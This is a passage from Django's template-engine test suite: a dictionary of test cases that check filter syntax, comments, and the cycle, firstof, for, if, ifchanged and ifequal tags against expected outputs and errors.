            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),
            'filter05': ('{% filter safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter05bis': ('{% filter upper|safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06': ('{% filter escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06bis': ('{% filter upper|escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
